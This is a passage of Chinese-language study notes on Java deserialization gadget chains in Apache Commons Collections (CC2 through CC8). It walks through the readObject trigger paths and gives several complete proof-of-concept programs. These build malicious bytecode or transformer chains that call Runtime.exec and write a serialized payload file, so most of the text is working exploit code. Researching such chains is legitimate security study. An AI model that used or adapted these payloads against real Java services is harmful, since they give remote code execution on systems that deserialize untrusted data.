        // 向容器中的类搜索路径的起始位置插入AbstractTranslet.class,个人认为是方便让后面能够找到这个类
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        // 使用容器新建一个CtClass,相当于新建一个class,类名为Evil
        CtClass ctClass = classPool.makeClass("Evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"%s\");";
        cmd = String.format(cmd, "calc.exe");
        // 给这个类创建 static 代码块,并插入到类中
        ctClass.makeClassInitializer().insertBefore(cmd);
        String className = "Evil" + System.nanoTime();
        // 重新设置类名为一个随机的名字
        ctClass.setName(className);
        // 给这个类添加一个父类,即继承该父类。
        ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); // 设置父类为AbstractTranslet,避免报错
        // 将这个类输出到项目目录下
//        ctClass.writeFile("./");
        // 将这个class转换为字节数组
        byte[] classBytes = ctClass.toBytecode();
        // 将字节数组放置到一个二维数组的第一个元素
        byte[][] targetByteCodes = new byte[][]{classBytes};
        // 实例化TemplatesImpl对象
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        // 通过反射设置字段的值为二维字节数组
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        // 进入 defineTransletClasses() 方法需要的条件
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);
        // 新建一个对象数组
        Object[] queueArray = new Object[]{templates, 1};
        // 反射设置PriorityQueue的queue值
        Field queueField = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queueField.setAccessible(true);
        queueField.set(priorityQueue, queueArray);
        // 反射设置PriorityQueue的size值
        Field queueSize = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        queueSize.setAccessible(true);
        queueSize.set(priorityQueue, 2);
        // 反射设置PriorityQueue的comparator值
        Field queueComparator = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        queueComparator.setAccessible(true);
        queueComparator.set(priorityQueue, transformingComparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("payload.bin"));
            outputStream.writeObject(priorityQueue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("payload.bin"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

🚩对_tfacroty的再次理解

研究到jackson的触发问题再回来看这个_tfactory的作用, jdk1.7下该属性是不存在的, 而jdk1.8下真实存在此属性(com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses)

1642578989136

至于CommonCollections链下有时不需要此类的原因, 是因为通过proprityQueue类通过field方式添加值时其_tfactory最终会自己赋值为TransformerFactoryImpl实例

在Java中,对象的序列化可以通过实现两种接口来实现,若实现的是Serializable接口,则所有的序列化将会自动进行,若实现的是Externalizable接口,则没有任何东西可以自动序列化,需要在writeExternal方法中进行手工指定所要序列化的变量,这与是否被transient修饰无关

详细可参考: https://www.cnblogs.com/lanxuezaipiao/p/3369962.html

    private void  readObject(ObjectInputStream is)
      throws IOException, ClassNotFoundException
    {
        SecurityManager security = System.getSecurityManager();
        if (security != null){
            String temp = SecuritySupport.getSystemProperty(DESERIALIZE_TRANSLET);
            if (temp == null || !(temp.length()==0 || temp.equalsIgnoreCase("true"))) {
                ErrorMsg err = new ErrorMsg(ErrorMsg.DESERIALIZE_TRANSLET_ERR);
                throw new UnsupportedOperationException(err.toString());
            }
        }

        // We have to read serialized fields first.
        ObjectInputStream.GetField gf = is.readFields();
        _name = (String)gf.get("_name", null);
        _bytecodes = (byte[][])gf.get("_bytecodes", null);
        _class = (Class[])gf.get("_class", null);
        _transletIndex = gf.get("_transletIndex", -1);

        _outputProperties = (Properties)gf.get("_outputProperties", null);
        _indentNumber = gf.get("_indentNumber", 0);

        if (is.readBoolean()) {
            _uriResolver = (URIResolver) is.readObject();
        }
        // 反序列化时会自动给_tfactory赋值TransformerFactoryImpl对象
        _tfactory = new TransformerFactoryImpl();
    }

而通过一下这种方式赋值则会提前在序列化处进入compare方法

PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);
// 通过add建立size为2的数组
priorityQueue.add(templates);priorityQueue.add(templates);

跟进priorityQueue的方法: add > offer > siftUp

    private void siftUp(int k, E x) {
        if (comparator != null)
            siftUpUsingComparator(k, x);
        else
            siftUpComparable(k, x);
    }

这里会去判断comparator是否为空, 因为我们初始化的时候加入了, 所以跟进siftUpUsingComparator方法

    private void siftUpUsingComparator(int k, E x) {
        while (k > 0) {
            int parent = (k - 1) >>> 1;
            Object e = queue[parent];
            // 序列化时提前触发了compare方法
            if (comparator.compare(x, (E) e) >= 0)
                break;
            queue[k] = e;
            k = parent;
        }
        queue[k] = x;
    }

这就导致还未经过反序列化, 在序列化的时候因为_tfactory没有赋值, 报错退出, 后续的也不会执行, 如果提前赋值的话相当于直接序列化时触发了结果, 所以需要设置无害的InvokerTransformer方法, 等序列化完成后再通过作用域修改, 这也是CommonsCollection2的另一种写法

package CommonsCollections;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollections2 {
    public static void main(String[] args) throws Exception{
        // 实例化一个无害的InvokerTransformer
        InvokerTransformer invokerTransformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        // 实例化一个TransformingComparator对象,并且传入了invokerTransformer,需要注意TransformingComparator中的compare方法
        TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
        // ClassPool是 CtClass 对象的容器。实例化一个ClassPool容器。
        ClassPool classPool = ClassPool.getDefault();
        // 向容器中的类搜索路径的起始位置插入AbstractTranslet.class,个人认为是方便让后面能够找到这个类
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        // 使用容器新建一个CtClass,相当于新建一个class,类名为Evil
        CtClass ctClass = classPool.makeClass("Evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"%s\");";
        cmd = String.format(cmd, "calc.exe");
        // 给这个类创建 static 代码块,并插入到类中
        ctClass.makeClassInitializer().insertBefore(cmd);
        String className = "Evil" + System.nanoTime();
        // 重新设置类名为一个随机的名字
        ctClass.setName(className);
        // 给这个类添加一个父类,即继承该父类。
        ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); // 设置父类为AbstractTranslet,避免报错
        // 将这个类输出到项目目录下
//        ctClass.writeFile("./");
        // 将这个class转换为字节数组
        byte[] classBytes = ctClass.toBytecode();
        // 将字节数组放置到一个二维数组的第一个元素
        byte[][] targetByteCodes = new byte[][]{classBytes};
        // 实例化TemplatesImpl对象
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        // 通过反射设置字段的值为二维字节数组
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        // 进入 defineTransletClasses() 方法需要的条件
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        // 实例化PriorityQueue对象
        PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);
        // 通过add建立size为2的数组
        priorityQueue.add(templates);priorityQueue.add(templates);
        // 修改作用域使其可触发
        setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("payload.bin"));
            outputStream.writeObject(priorityQueue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("payload.bin"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

CC5_BadAttributeValueExpException

适用版本:3.1-3.2.1,jdk1.8

CC1了解了CC5就不会特别难, 主要是针对jdk1.8之后AnnotationInvocationHandler移除memberValue.setValue导致链子失效而采取的BadAttributeValueExpException进行LazyMap的get调用, 更改的步骤主要如下:

BadAttributeValueException.readObject ->
TiedMapEntry.toString ->
TiedMapEntry.getValue ->
(this.map.get)LazyMap.get ->
ChainedTransformer.transform

jdk1.8中BadAttributeValueExpException重写了readObject方法

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        // val的值赋给valObj
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            // valObj为TiedMapEntry, 即调用TiedMapEntry.toString
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

跟进TiedMapEntry.toString

    public String toString() {
        // 跟进getValue方法
        return this.getKey() + "=" + this.getValue();
    }
...
    public Object getValue() {
        // this.map赋值为LazyMap, 调用LazyMap.get
        return this.map.get(this.key);
    }

跟进LazyMap.get

    public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            // 此处key赋值为ChainTransformer触发命令执行
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

POC

package CommonsCollections;

import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5_BadAttributeValueExpException{
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
            new ConstantTransformer(1)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        // 调用decorate主要是直接写入的方法是protected, 需要设置权限才行, 而该方法是public
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
        /**
         * BadAttributeValueException.readObject ->
         * TiedMapEntry.toString ->
         * TiedMapEntry.getValue ->
         * (this.map.get)LazyMap.get ->
         * ChainedTransformer.transform
         * */
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "ricky");
        /*jdk1.8*/
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
//        setFieldValue(badAttributeValueExpException, "val", tiedMapEntry); //调用CC2写好的设置函数
        // 单独设置
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, tiedMapEntry);

        try{
            // serialize
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream objectoutputstream = new ObjectOutputStream(barr);
            objectoutputstream.writeObject(badAttributeValueExpException);
            objectoutputstream.close();
            // unserialize
            ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            objectinputstream.readObject();
            objectinputstream.close();
            System.out.println(Base64.encodeBase64String(barr.toByteArray()));
        }catch(Exception e){
            e.printStackTrace();
        }

    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

JDK1.8 AnnotationInvocationHandler 修改

50行左右移除 memberValue.setValue

CC3_InstantiateTransformer

适用版本:3.1-3.2.1,jdk7u21及以前

InstantiateTransformer

    public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
        } catch (InstantiationException ex) {
            throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
        }
    }

transform方法会去使用反射实例化一个对象并且返回

TrAXFilter

  public TrAXFilter (Templates templates)
    throws TransformerConfigurationException
  {
    m_templates = templates;
    m_transformer = (TransformerImpl)templates.newTransformer();
  }

调用了传入参数的newTransformer()方法, 延续了CC2的构造恶意Class类进行命令执行, 传入精心构造的TransformerImpl类即可

POC

package CommonsCollections;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.xalan.transformer.TrAXFilter;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC3_InstantiateTransformer {
    public static void main(String[] args) throws Exception{
        // ClassPool是 CtClass 对象的容器。实例化一个ClassPool容器。
        ClassPool classPool = ClassPool.getDefault();
        // 向容器中的类搜索路径的起始位置插入AbstractTranslet.class,个人认为是方便让后面能够找到这个类
        classPool.insertClassPath(new ClassClassPath(com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.class));
        // 使用容器新建一个CtClass,相当于新建一个class,类名为Evil
        CtClass ctClass = classPool.makeClass("Evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"%s\");";
        cmd = String.format(cmd, "calc.exe");
        // 给这个类创建 static 代码块,并插入到类中
        ctClass.makeClassInitializer().insertBefore(cmd);
        String className = "Evil" + System.nanoTime();
        // 重新设置类名为一个随机的名字
        ctClass.setName(className);
        // 给这个类添加一个父类,即继承该父类。
        ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); // 设置父类为AbstractTranslet,避免报错
        // 将这个类输出到项目目录下
//        ctClass.writeFile("./");
        // 将这个class转换为字节数组
        byte[] classBytes = ctClass.toBytecode();
        // 将字节数组放置到一个二维数组的第一个元素
        byte[][] targetByteCodes = new byte[][]{classBytes};
        // 创建TemplatesImpl实例
        Object templatesImpl=Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredConstructor(new Class[]{}).newInstance();
        // 通过反射设置字段的值为二维字节数组
        setFieldValue(templatesImpl, "_bytecodes", targetByteCodes);
        // 进入 defineTransletClasses() 方法需要的条件
        setFieldValue(templatesImpl, "_name", "name");

        /** CC3 TrAXFilter与InstantiateTransformer结合*/
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
        Map ProxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
        //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
        Field f = chainedTransformer.getClass().getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chainedTransformer, transformers);
        Object cc3 = constructor.newInstance(Retention.class, ProxyMap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("payload.bin"));
            outputStream.writeObject(cc3);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("payload.bin"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

CC4_mixed with CC2 and CC3

适用版本:4.0,jdk7u21及以前

CC4链中在这段代码中就做了一个简单的修改。

/**CommonsCollections4区别之处*/
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
     new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

第一步是new了一个ConstantTransformer对象存储在Transformer[]数组中传入的参数是TrAXFilter.class,如果调用到ConstantTransformer实例化对象的transform方法会直接返回一个TrAXFilter对象。

第二步new了一个InstantiateTransformer对象传入的是Templates.class和构造的恶意templates实例化对象。

第三步是使用了ChainedTransformer的修饰器将Transformer[]数组传入参数,当调用transform方法将给Transformer[]数组给遍历调用transform方法。

第四步将ChainedTransformer修饰后的对象再使用TransformingComparator修饰器给修饰一遍,这里再使用TransformingComparator来修饰一下,这样等调用到该实例化对象的compare方法的时候就会去遍历调用Transformer[]transform方法。(要求必须是Comparator才可赋值this.comparator)

POC

package CommonsCollections;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.xalan.transformer.TrAXFilter;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollections4 {
    public static void main(String[] args) throws Exception{
        // 实例化PriorityQueue对象
        PriorityQueue priorityQueue = new PriorityQueue(1);
        // ClassPool是 CtClass 对象的容器。实例化一个ClassPool容器。
        ClassPool classPool = ClassPool.getDefault();
        // 向容器中的类搜索路径的起始位置插入AbstractTranslet.class,个人认为是方便让后面能够找到这个类
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        // 使用容器新建一个CtClass,相当于新建一个class,类名为Evil
        CtClass ctClass = classPool.makeClass("Evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"%s\");";
        cmd = String.format(cmd, "calc.exe");
        // 给这个类创建 static 代码块,并插入到类中
        ctClass.makeClassInitializer().insertBefore(cmd);
        String className = "Evil" + System.nanoTime();
        // 重新设置类名为一个随机的名字
        ctClass.setName(className);
        // 给这个类添加一个父类,即继承该父类。
        ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); // 设置父类为AbstractTranslet,避免报错
        // 将这个类输出到项目目录下
//        ctClass.writeFile("./");
        // 将这个class转换为字节数组
        byte[] classBytes = ctClass.toBytecode();
        // 将字节数组放置到一个二维数组的第一个元素
        byte[][] targetByteCodes = new byte[][]{classBytes};
        // 实例化TemplatesImpl对象
        TemplatesImpl templates = (TemplatesImpl) Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredConstructor(new Class[]{}).newInstance();

        /**CommonCollections4区别之处*/
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

        // 通过反射设置字段的值为二维字节数组
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        // 进入 defineTransletClasses() 方法需要的条件
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);
        // 新建一个对象数组
        Object[] queueArray = new Object[]{templates, 1};
        // 反射设置PriorityQueue的queue值
        Field queueField = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queueField.setAccessible(true);
        queueField.set(priorityQueue, queueArray);
        // 反射设置PriorityQueue的size值
        Field queueSize = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        queueSize.setAccessible(true);
        queueSize.set(priorityQueue, 2);
        // 反射设置PriorityQueue的comparator值
        Field queueComparator = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        queueComparator.setAccessible(true);
        queueComparator.set(priorityQueue, transformingComparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("payload.bin"));
            outputStream.writeObject(priorityQueue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("payload.bin"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

CC8_new readObject TreeBag

参考: https://www.anquanke.com/post/id/190472

8与2, 4的区别在于使用了新的readObject触发点TreeBag , 8可与2, 4结合使用

TreeBag.readObject

    private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        @SuppressWarnings("unchecked")  // This will fail at runtime if the stream is incorrect
        final Comparator<? super E> comp = (Comparator<? super E>) in.readObject();
        // 重点在doReadObject和TreeMap
        super.doReadObject(new TreeMap<E, MutableInteger>(comp), in);
    }

跟进doReadObject

    protected void doReadObject(final Map<E, MutableInteger> map, final ObjectInputStream in)
            throws IOException, ClassNotFoundException {
        this.map = map;
        final int entrySize = in.readInt();
        for (int i = 0; i < entrySize; i++) {
            @SuppressWarnings("unchecked") // This will fail at runtime if the stream is incorrect
            final E obj = (E) in.readObject();
            final int count = in.readInt();
            map.put(obj, new MutableInteger(count));
            size += count;
        }
    }

跟进Treemap.put函数

    public V put(K key, V value) {
        Entry<K,V> t = root;
        /*root初始化时为null
        private transient Entry<K,V> root = null;
        跟进if语句
        */
        if (t == null) {
            compare(key, key); // type (and possibly null) check

            root = new Entry<>(key, value, null);
            size = 1;
            modCount++;
            return null;
        }
        ...

跟进compare函数

    final int compare(Object k1, Object k2) {
        /*
        控制此处的comparator
        private final Comparator<? super K> comparator;
        */
        return comparator==null ? ((Comparable<? super K>)k1).compareTo((K)k2)
            : comparator.compare((K)k1, (K)k2);
    }

通过TransformingComparator.compare触发即可

POC

package CommonsCollections;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.xalan.transformer.TrAXFilter;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class CommonsCollections8 {
    public static void main(String[] args) throws Exception{
        // ClassPool是 CtClass 对象的容器。实例化一个ClassPool容器。
        ClassPool classPool = ClassPool.getDefault();
        // 向容器中的类搜索路径的起始位置插入AbstractTranslet.class,个人认为是方便让后面能够找到这个类
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        // 使用容器新建一个CtClass,相当于新建一个class,类名为Evil
        CtClass ctClass = classPool.makeClass("Evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"%s\");";
        cmd = String.format(cmd, "calc.exe");
        // 给这个类创建 static 代码块,并插入到类中
        ctClass.makeClassInitializer().insertBefore(cmd);
        String className = "Evil" + System.nanoTime();
        // 重新设置类名为一个随机的名字
        ctClass.setName(className);
        // 给这个类添加一个父类,即继承该父类。
        ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); // 设置父类为AbstractTranslet,避免报错
        // 将这个类输出到项目目录下
//        ctClass.writeFile("./");
        // 将这个class转换为字节数组
        byte[] classBytes = ctClass.toBytecode();
        // 将字节数组放置到一个二维数组的第一个元素
        byte[][] targetByteCodes = new byte[][]{classBytes};
        // 实例化TemplatesImpl对象
        TemplatesImpl templates = (TemplatesImpl) Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredConstructor(new Class[]{}).newInstance();

        /**CommonsCollections4区别之处*/
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

        // 通过反射设置字段的值为二维字节数组
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        // 进入 defineTransletClasses() 方法需要的条件
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);

        /**CommonsCollections8区别之处*/
        // 实例化TreeBag对象
        TreeBag treeBag = new TreeBag(transformingComparator);
        // 将TemplatesImpl对象添加至TreeBag建立的TreeMap中
        treeBag.add(templates);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("payload.bin"));
            outputStream.writeObject(treeBag);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("payload.bin"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

commons-collections:4.1及以上的改变

前面提到的CommonsCollections2,4,8,都是在commons-collections:4.0版本下才可以使用的。这里我们来看看为什么在4.1及以上版本无法利用!

前面我们用到了InvokerTransformer和InstantiateTransformer作为中转,很真实,4.1版本这两个类都没有实现Serializable接口,导致我们在序列化时就无法利用这两个类。

public class InstantiateTransformer<T> implements Transformer<Class<? extends T>,T> {

public class InvokerTransformer<I,O> implements Transformer<I,O> {

CC6_HashSet

参考: https://www.anquanke.com/post/id/190468

主要目的是在HashSet.readObject触发HashMap.put后进而在TiedMapEntry.hashCode触发LazyMap.get

HashSet.readObject()
    -> HashMap.put(key) => key.hashCode => TiedMapEntry.hashCode
    -> TiedMapEntry.getValue
    -> TiedMapEntry.map.get() => LazyMap.get()
    -> factory.transform() => ChainedTransformer.transform()
    -> 前文构造的Runtime.getRuntime().exec()

POC

package CommonsCollections;

import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
